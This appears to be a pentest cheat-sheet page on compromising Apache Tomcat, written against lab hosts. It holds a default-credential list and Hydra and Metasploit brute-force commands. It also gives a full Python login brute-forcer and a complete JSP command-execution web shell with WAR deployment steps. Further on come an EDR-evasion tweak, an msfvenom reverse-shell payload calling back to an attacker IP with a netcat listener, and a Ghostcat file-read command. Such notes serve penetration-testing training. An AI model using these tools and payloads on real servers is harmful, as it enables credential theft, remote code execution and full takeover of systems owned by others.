Skip to content

Pentesting tomcat

Apache Tomcat is an open-source web server that hosts applications written in Java. Tomcat was initially designed to run Java Servlets and Java Server Pages (JSP) scripts. However, its popularity increased in Java-based frameworks and is now widely used by frameworks such as Spring and tools such as Gradle.

Usually found on port 8080.

Here is the general folder structure of a Tomcat installation.

├── bin
├── conf
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib
├── logs
├── temp
├── webapps
│   ├── manager
│   │   ├── images
│   │   ├── META-INF
│   │   └── WEB-INF
|   |       └── web.xml
│   └── ROOT
│       └── WEB-INF
└── work
    └── Catalina
        └── localhost
  • The bin folder stores scripts and binaries needed to start and run a Tomcat server.
  • The conf folder stores various configuration files used by Tomcat (The tomcat-users.xml file stores user credentials and their assigned roles. The tomcat-users.xml file is used to allow or disallow access to the /manager and host-manager admin pages.)
  • The lib folder holds the various JAR files needed for the correct functioning of Tomcat.
  • The logs and temp folders store temporary log files.
  • The webapps folder is the default webroot of Tomcat and hosts all the applications.
  • The work folder acts as a cache and is used to store data during runtime.

Each folder inside webapps is expected to have the following structure.

webapps/customapp
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
    ├── jsp
    |   └── admin.jsp
    └── web.xml
    └── lib
    |    └── jdbc_drivers.jar
    └── classes
        └── AdminServlet.class   

The most important file among these is WEB-INF/web.xml, which is known as the deployment descriptor. This file stores information about the routes used by the application and the classes handling these routes. All compiled classes used by the application should be stored in the WEB-INF/classes folder. The jsp folder stores Jakarta Server Pages (JSP), formerly known as JavaServer Pages, which can be compared to PHP files on an Apache server.

Any vulnerability in these files can lead to total compromise of the website.

Version

Custom error pages may be in use that do not leak this version information. In this case, another method of detecting a Tomcat server and version is through the /docs page.

curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat 

Enumeration

Interesting pages to look at:

  • /manager 
  • /host-manager 
  • docs

Default credentials

Typically login page is at /manager and the dashboard at /manager/html. Only users assigned the manager-gui role are allowed to access.

1
2
3
4
5
6
7
admin:admin
tomcat:tomcat
admin:<NOTHING>
admin:s3cr3t
tomcat:s3cr3t
admin:tomcat
tomcat:tomca

Login Brute force

Login might be at:

  • /manager/html
  • /manager

Hydra

hydra -l tomcat -P /usr/share/wordlists/SecLists-master/Passwords/darkweb2017-top1000.txt -f $ip http-get /manager/html 

Custom script

Let's call it tomforce.py:

#!/usr/bin/python

import requests
from termcolor import cprint
import argparse

parser = argparse.ArgumentParser(description = "Tomcat manager or host-manager credential bruteforcing")

parser.add_argument("-U", "--url", type = str, required = True, help = "URL to tomcat page")
parser.add_argument("-P", "--path", type = str, required = True, help = "manager or host-manager URI")
parser.add_argument("-u", "--usernames", type = str, required = True, help = "Users File")
parser.add_argument("-p", "--passwords", type = str, required = True, help = "Passwords Files")

args = parser.parse_args()

url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords

new_url = url + uri
f_users = open(users_file, "rb")
f_pass = open(passwords_file, "rb")
usernames = [x.strip() for x in f_users]
passwords = [x.strip() for x in f_pass]

cprint("\n[+] Atacking.....", "red", attrs = ['bold'])

for u in usernames:
    for p in passwords:
        r = requests.get(new_url,auth = (u, p))

        if r.status_code == 200:
            cprint("\n[+] Success!!", "green", attrs = ['bold'])
            cprint("[+] Username : {}\n[+] Password : {}".format(u,p), "green", attrs = ['bold'])
            break
    if r.status_code == 200:
        break

if r.status_code != 200:
    cprint("\n[+] Failed!!", "red", attrs = ['bold'])
    cprint("[+] Could not Find the creds :( ", "red", attrs = ['bold'])
#print r.status_code

Run it:

python tomforce.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt 

Metasploit

Brute force login with metasploit

1
2
3
4
5
6
msfconsole -q
use auxiliary/scanner/http/tomcat_mgr_login
setg RHOSTS 10.129.201.58
setg RPORT 8180
set VHOST web01.inlanefreight.local
run

For troubleshooting we could proxy out metasploit connection with the option PROXIES:

 set PROXIES HTTP:127.0.0.1:8080

Directory enumeration

gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt 

## WAR File Upload

Many Tomcat installations provide a GUI interface to manage the application. This interface is available at /manager/html by default, which only users assigned the manager-gui role are allowed to access.

Valid manager credentials can be used to upload a packaged Tomcat application (.WAR file) and compromise the application.

A WAR, or Web Application Archive, is used to quickly deploy web applications and backup storage. A WAR file can be created using the zip utility.

A WAR file can be created using the zip utility.

WAR file with ZIP utility

1. We create a .jsp reverse shell, and save it under name cmd.jsp

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

Evasion

A simple change such as changing:

FileOutputStream(f);stream.write(m);o="Uploaded:

to:

FileOutputStream(f);stream.write(m);o="uPlOaDeD:

may result in less detection by EDRs.

2. Now we generate the war file:

zip -r backup.war cmd.jsp 

3. Upload the file backup.war in the section "WAR file to deploy". Then click on Deploy.

4. Browse to the deployed app and add to the path the file:

http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id

WAR file with msfvenom

1. Generate the WAR file. The payload java/jsp_shell_reverse_tcp will execute a reverse shell through a JSP file.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war

2. Start a listener in your attacking machine:

nc -lnvp 4443

3. Upload the file backup.war in the section "WAR file to deploy". Then click on Deploy.

Metasploit multi/http/tomcat_mgr_upload

1
2
3
4
5
6
7
8
9
msfconsole -q
use multi/http/tomcat_mgr_upload 
set HttpUsername tomcat
set HttpPassword root
set RHOSTS 10.129.201.58 
set RPORT 8081
set LHOST 10.10.14.147
set payloda payload/java/jsp_shell_reverse_tcp
run

CVE-2020-1938 : Ghostcat

Tomcat was found to be vulnerable to an unauthenticated LFI in a semi-recent discovery named Ghostcat.

All Tomcat versions before 9.0.31, 8.5.51, and 7.0.100 were found vulnerable.

The PoC code for the vulnerability can be found here.

Run it:

python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml 

Attacking Tomcat CGI

See Pentesting Common Gateway Interface applications

Last update: 2025-02-09
Created: April 28, 2023 23:16:19